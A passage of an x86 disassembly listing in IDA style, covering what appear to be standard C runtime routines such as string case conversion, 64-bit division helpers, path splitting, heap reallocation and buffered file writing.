		js	short loc_418D38
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_418D3F
; ---------------------------------------------------------------------------

loc_418D38:				; CODE XREF: sub_418D0C+20j
		push	esi
		call	sub_41DF48
		pop	ecx

loc_418D3F:				; CODE XREF: sub_418D0C+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418D5A
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_418D50
		dec	[ebp+arg_4]
		jnz	short loc_418D29

loc_418D50:				; CODE XREF: sub_418D0C+18j
					; sub_418D0C+3Dj ...
		and	byte ptr [edi],	0

loc_418D53:				; CODE XREF: sub_418D0C+55j
		mov	eax, ebx
		pop	esi

loc_418D56:				; CODE XREF: sub_418D0C+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_418D5A:				; CODE XREF: sub_418D0C+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_418D50
		xor	ebx, ebx
		jmp	short loc_418D53
sub_418D0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418D63	proc near		; CODE XREF: sub_40904E+BFp
					; sub_40904E+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_489540
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_418D97
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_418DFE

loc_418D7F:				; CODE XREF: sub_418D63+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_418D90
		cmp	cl, 7Ah
		jg	short loc_418D90
		sub	cl, 20h
		mov	[edx], cl

loc_418D90:				; CODE XREF: sub_418D63+21j
					; sub_418D63+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_418D7F
		jmp	short loc_418DFE
; ---------------------------------------------------------------------------

loc_418D97:				; CODE XREF: sub_418D63+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_41E409
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_418DF0
		push	edi
		call	sub_417889
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_418DF0
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_489540
		call	sub_41E409
		add	esp, 20h
		test	eax, eax
		jz	short loc_418DF0
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_4176C0
		pop	ecx
		pop	ecx

loc_418DF0:				; CODE XREF: sub_418D63+53j
					; sub_418D63+61j ...
		push	[ebp+var_4]
		call	sub_41793B
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi

loc_418DFE:				; CODE XREF: sub_418D63+1Aj
					; sub_418D63+32j
		pop	ebx
		leave
		retn
sub_418D63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E01	proc near		; CODE XREF: sub_40A781+6p
					; sub_40A79F+48p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_489540, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_418E2E
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_418EC7
		cmp	eax, 5Ah
		jg	loc_418EC7
		add	eax, 20h
		jmp	loc_418EC7
; ---------------------------------------------------------------------------

loc_418E2E:				; CODE XREF: sub_418E01+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_418E62
		cmp	dword_438C8C, esi
		jle	short loc_418E50
		push	esi
		push	ebx
		call	sub_41A342
		pop	ecx
		pop	ecx
		jmp	short loc_418E5A
; ---------------------------------------------------------------------------

loc_418E50:				; CODE XREF: sub_418E01+42j
		mov	eax, off_438A80
		mov	al, [eax+ebx*2]
		and	eax, esi

loc_418E5A:				; CODE XREF: sub_418E01+4Dj
		test	eax, eax
		jnz	short loc_418E62

loc_418E5E:				; CODE XREF: sub_418E01+ADj
		mov	eax, ebx
		jmp	short loc_418EC7
; ---------------------------------------------------------------------------

loc_418E62:				; CODE XREF: sub_418E01+3Aj
					; sub_418E01+5Bj
		mov	edx, off_438A80
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_418E86
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_418E8F
; ---------------------------------------------------------------------------

loc_418E86:				; CODE XREF: sub_418E01+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi

loc_418E8F:				; CODE XREF: sub_418E01+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_489540
		call	sub_41E409
		add	esp, 20h
		test	eax, eax
		jz	short loc_418E5E
		cmp	eax, esi
		jnz	short loc_418EBA
		movzx	eax, [ebp+var_4]
		jmp	short loc_418EC7
; ---------------------------------------------------------------------------

loc_418EBA:				; CODE XREF: sub_418E01+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_418EC7:				; CODE XREF: sub_418E01+16j
					; sub_418E01+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418E01	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418ED0	proc near		; CODE XREF: sub_40B637+3Dp
					; sub_40CE23+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_418EF1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_418F41
; ---------------------------------------------------------------------------

loc_418EF1:				; CODE XREF: sub_418ED0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]

loc_418EFF:				; CODE XREF: sub_418ED0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_418EFF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_418F2A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_418F2A
		jb	short loc_418F32
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_418F32

loc_418F2A:				; CODE XREF: sub_418ED0+4Aj
					; sub_418ED0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]

loc_418F32:				; CODE XREF: sub_418ED0+52j
					; sub_418ED0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0

loc_418F41:				; CODE XREF: sub_418ED0+1Fj
		pop	ebx
		retn	10h
sub_418ED0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418F50	proc near		; CODE XREF: sub_40B637+24p
					; sub_40CE23+3Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_418F72
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_418FB3
; ---------------------------------------------------------------------------

loc_418F72:				; CODE XREF: sub_418F50+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]

loc_418F80:				; CODE XREF: sub_418F50+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_418F80
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_418FAE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_418FAE
		jb	short loc_418FAF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_418FAF

loc_418FAE:				; CODE XREF: sub_418F50+4Ej
					; sub_418F50+54j
		dec	esi

loc_418FAF:				; CODE XREF: sub_418F50+56j
					; sub_418F50+5Cj
		xor	edx, edx
		mov	eax, esi

loc_418FB3:				; CODE XREF: sub_418F50+20j
		pop	esi
		pop	ebx
		retn	10h
sub_418F50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418FB8	proc near		; CODE XREF: sub_40B6ED+1E3p
					; sub_40E48A+F7p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_4177B0
		cmp	eax, 1
		pop	ecx
		jb	short loc_418FF3
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_418FF3
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_418FEF
		push	2
		push	ebx
		push	esi
		call	sub_41EA38
		add	esp, 0Ch
		and	byte ptr [esi+2], 0

loc_418FEF:				; CODE XREF: sub_418FB8+25j
		inc	ebx
		inc	ebx
		jmp	short loc_418FFD
; ---------------------------------------------------------------------------

loc_418FF3:				; CODE XREF: sub_418FB8+18j
					; sub_418FB8+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_418FFD
		and	byte ptr [eax],	0

loc_418FFD:				; CODE XREF: sub_418FB8+39j
					; sub_418FB8+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_419075

loc_419010:				; CODE XREF: sub_418FB8+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_48AA01[edx], 4
		jz	short loc_419021
		inc	eax
		jmp	short loc_41903B
; ---------------------------------------------------------------------------

loc_419021:				; CODE XREF: sub_418FB8+64j
		cmp	cl, 2Fh
		jz	short loc_419035
		cmp	cl, 5Ch
		jz	short loc_419035
		cmp	cl, 2Eh
		jnz	short loc_41903B
		mov	[ebp+var_4], eax
		jmp	short loc_41903B
; ---------------------------------------------------------------------------

loc_419035:				; CODE XREF: sub_418FB8+6Cj
					; sub_418FB8+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx

loc_41903B:				; CODE XREF: sub_418FB8+67j
					; sub_418FB8+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_419010
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_419075
		cmp	[ebp+arg_8], 0
		jz	short loc_419070
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_419059
		mov	edi, esi

loc_419059:				; CODE XREF: sub_418FB8+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_41EA38
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_419070:				; CODE XREF: sub_418FB8+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41907F
; ---------------------------------------------------------------------------

loc_419075:				; CODE XREF: sub_418FB8+56j
					; sub_418FB8+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41907F
		and	byte ptr [ecx],	0

loc_41907F:				; CODE XREF: sub_418FB8+BBj
					; sub_418FB8+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_4190D2
		cmp	edi, ebx
		jb	short loc_4190D2
		cmp	[ebp+arg_C], 0
		jz	short loc_4190AF
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_419098
		mov	edi, esi

loc_419098:				; CODE XREF: sub_418FB8+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41EA38
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_4190AF:				; CODE XREF: sub_418FB8+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_4190FA
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_4190BF
		mov	esi, eax

loc_4190BF:				; CODE XREF: sub_418FB8+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_41EA38
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_4190FA
; ---------------------------------------------------------------------------

loc_4190D2:				; CODE XREF: sub_418FB8+CCj
					; sub_418FB8+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_4190F0
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_4190E1
		mov	esi, eax

loc_4190E1:				; CODE XREF: sub_418FB8+125j
		push	esi
		push	ebx
		push	edi
		call	sub_41EA38
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0

loc_4190F0:				; CODE XREF: sub_418FB8+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_4190FA
		and	byte ptr [eax],	0

loc_4190FA:				; CODE XREF: sub_418FB8+FCj
					; sub_418FB8+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418FB8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4190FF	proc near		; CODE XREF: sub_40BE01+19p
					; sub_40D430+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_419B38
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41913D
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41914A
; ---------------------------------------------------------------------------

loc_41913D:				; CODE XREF: sub_4190FF+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_419A23
		pop	ecx
		pop	ecx

loc_41914A:				; CODE XREF: sub_4190FF+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4190FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41914F	proc near		; CODE XREF: sub_40C079+2Cp
					; sub_418303+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41916A
		push	[ebp+arg_4]
		call	sub_417889
		pop	ecx
		jmp	loc_4193EA
; ---------------------------------------------------------------------------

loc_41916A:				; CODE XREF: sub_41914F+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41917F
		push	[ebp+arg_0]
		call	sub_41793B
		pop	ecx
		jmp	loc_4193E8
; ---------------------------------------------------------------------------

loc_41917F:				; CODE XREF: sub_41914F+20j
		mov	eax, dword_48AB28
		cmp	eax, 3
		jnz	loc_41928F

loc_41918D:				; CODE XREF: sub_41914F+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41926B
		push	[ebp+arg_0]
		call	sub_41AA89
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_419246
		cmp	esi, dword_48AB20
		ja	short loc_4191FF
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41B292
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4191FB
		push	esi
		call	sub_41ADDD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_4191FF
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_4191DF
		mov	eax, esi

loc_4191DF:				; CODE XREF: sub_41914F+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_417090
		push	ebx
		call	sub_41AA89
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41AAB4
		add	esp, 18h

loc_4191FB:				; CODE XREF: sub_41914F+74j
		test	edi, edi
		jnz	short loc_419242

loc_4191FF:				; CODE XREF: sub_41914F+62j
					; sub_41914F+81j
		test	esi, esi
		jnz	short loc_419206
		push	1
		pop	esi

loc_419206:				; CODE XREF: sub_41914F+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_48AB24
		call	dword_4230E8	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_419242
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41922E
		mov	eax, esi

loc_41922E:				; CODE XREF: sub_41914F+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_417090
		push	[ebp+arg_0]
		push	ebx
		call	sub_41AAB4
		add	esp, 14h

loc_419242:				; CODE XREF: sub_41914F+AEj
					; sub_41914F+D0j
		test	ebx, ebx
		jnz	short loc_419267

loc_419246:				; CODE XREF: sub_41914F+56j
		test	esi, esi
		jnz	short loc_41924D
		push	1
		pop	esi

loc_41924D:				; CODE XREF: sub_41914F+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_48AB24
		call	dword_423194	; RtlReAllocateHeap
		mov	edi, eax

loc_419267:				; CODE XREF: sub_41914F+F5j
		test	edi, edi
		jnz	short loc_419288

loc_41926B:				; CODE XREF: sub_41914F+43j
		cmp	dword_48950C, 0
		jz	short loc_419288
		push	esi
		call	sub_41A854
		test	eax, eax
		pop	ecx
		jnz	loc_41918D
		jmp	loc_4193E8
; ---------------------------------------------------------------------------

loc_419288:				; CODE XREF: sub_41914F+11Aj
					; sub_41914F+123j ...
		mov	eax, edi
		jmp	loc_4193EA
; ---------------------------------------------------------------------------

loc_41928F:				; CODE XREF: sub_41914F+38j
		cmp	eax, 2
		jnz	loc_4193AA
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4192AC
		test	esi, esi
		jbe	short loc_4192A9
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_4192AC
; ---------------------------------------------------------------------------

loc_4192A9:				; CODE XREF: sub_41914F+150j
		push	10h
		pop	esi

loc_4192AC:				; CODE XREF: sub_41914F+14Cj
					; sub_41914F+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41938C
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B7E4
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_419370
		cmp	esi, dword_43ACC4
		jnb	short loc_419334
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41BBAC
		add	esp, 10h
		test	eax, eax
		jz	short loc_4192FA
		mov	edi, [ebp+arg_0]
		jmp	short loc_41932C
; ---------------------------------------------------------------------------

loc_4192FA:				; CODE XREF: sub_41914F+1A4j
		push	edi
		call	sub_41B880
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_419334
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_419313
		mov	eax, esi

loc_419313:				; CODE XREF: sub_41914F+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_417090
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41B83B
		add	esp, 18h

loc_41932C:				; CODE XREF: sub_41914F+1A9j
		test	edi, edi
		jnz	loc_419288

loc_419334:				; CODE XREF: sub_41914F+18Bj
					; sub_41914F+1B6j
		push	esi
		push	0
		push	dword_48AB24
		call	dword_4230E8	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_41938C
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_419355
		mov	eax, esi

loc_419355:				; CODE XREF: sub_41914F+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_417090
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41B83B
		add	esp, 18h
		jmp	short loc_419384
; ---------------------------------------------------------------------------

loc_419370:				; CODE XREF: sub_41914F+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_48AB24
		call	dword_423194	; RtlReAllocateHeap
		mov	edi, eax

loc_419384:				; CODE XREF: sub_41914F+21Fj
		test	edi, edi
		jnz	loc_419288

loc_41938C:				; CODE XREF: sub_41914F+162j
					; sub_41914F+1F8j
		cmp	dword_48950C, 0
		jz	loc_419288
		push	esi
		call	sub_41A854
		test	eax, eax
		pop	ecx
		jnz	loc_4192AC
		jmp	short loc_4193E8
; ---------------------------------------------------------------------------

loc_4193AA:				; CODE XREF: sub_41914F+143j
					; sub_41914F+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4193D4
		test	esi, esi
		jnz	short loc_4193B8
		push	1
		pop	esi

loc_4193B8:				; CODE XREF: sub_41914F+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_48AB24
		call	dword_423194	; RtlReAllocateHeap
		test	eax, eax
		jnz	short loc_4193EA

loc_4193D4:				; CODE XREF: sub_41914F+260j
		cmp	dword_48950C, 0
		jz	short loc_4193EA
		push	esi
		call	sub_41A854
		test	eax, eax
		pop	ecx
		jnz	short loc_4193AA

loc_4193E8:				; CODE XREF: sub_41914F+2Bj
					; sub_41914F+134j ...
		xor	eax, eax

loc_4193EA:				; CODE XREF: sub_41914F+16j
					; sub_41914F+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41914F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193EF	proc near		; CODE XREF: sub_40C6D2+127p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_419413
		xor	eax, eax
		jmp	loc_4194E0
; ---------------------------------------------------------------------------

loc_419413:				; CODE XREF: sub_4193EF+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_419426
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41942D
; ---------------------------------------------------------------------------

loc_419426:				; CODE XREF: sub_4193EF+2Dj
		mov	[ebp+arg_C], 1000h

loc_41942D:				; CODE XREF: sub_4193EF+35j
					; sub_4193EF+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_419461
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_419461
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_419447
		mov	edi, eax

loc_419447:				; CODE XREF: sub_4193EF+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_417090
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_4194A7
; ---------------------------------------------------------------------------

loc_419461:				; CODE XREF: sub_4193EF+47j
					; sub_4193EF+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4194AC
		test	ecx, ecx
		jz	short loc_419475
		push	esi
		call	sub_41A4D0
		test	eax, eax
		pop	ecx
		jnz	short loc_4194EE

loc_419475:				; CODE XREF: sub_4193EF+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_419488
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41948A
; ---------------------------------------------------------------------------

loc_419488:				; CODE XREF: sub_4193EF+8Aj
		mov	edi, ebx

loc_41948A:				; CODE XREF: sub_4193EF+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41EAC2
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4194E5
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_4194E5

loc_4194A7:				; CODE XREF: sub_4193EF+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_4194D5
; ---------------------------------------------------------------------------

loc_4194AC:				; CODE XREF: sub_4193EF+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_419A23
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4194EE
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_4194D5
		mov	[ebp+arg_C], 1

loc_4194D5:				; CODE XREF: sub_4193EF+BBj
					; sub_4193EF+DDj
		test	ebx, ebx
		jnz	loc_41942D
		mov	eax, [ebp+arg_8]

loc_4194E0:				; CODE XREF: sub_4193EF+1Fj
					; sub_4193EF+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4194E5:				; CODE XREF: sub_4193EF+ADj
					; sub_4193EF+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_4194F0
; ---------------------------------------------------------------------------

loc_4194EE:				; CODE XREF: sub_4193EF+84j
					; sub_4193EF+CFj
		mov	eax, edi

loc_4194F0:				; CODE XREF: sub_4193EF+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_4194E0
sub_4193EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4194F9	proc near		; CODE XREF: sub_40CE09+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	dword_4230A8	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_419519
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		call	sub_41EC6F
		pop	ecx

loc_419515:				; CODE XREF: sub_4194F9+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_419519:				; CODE XREF: sub_4194F9+Dj
		test	al, 1
		jz	short loc_41953A
		test	[esp+arg_4], 2
		jz	short loc_41953A
		mov	dword_4894AC, 0Dh
		mov	dword_4894B0, 5
		jmp	short loc_419515
; ---------------------------------------------------------------------------

loc_41953A:				; CODE XREF: sub_4194F9+22j
					; sub_4194F9+29j
		xor	eax, eax
		retn
sub_4194F9	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419540	proc near		; CODE XREF: sub_40CF32+5Fp
					; sub_40CF32+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_419561
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx

loc_419561:				; CODE XREF: sub_419540+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41957D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx

loc_41957D:				; CODE XREF: sub_419540+27j
		or	eax, eax
		jnz	short loc_419599
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
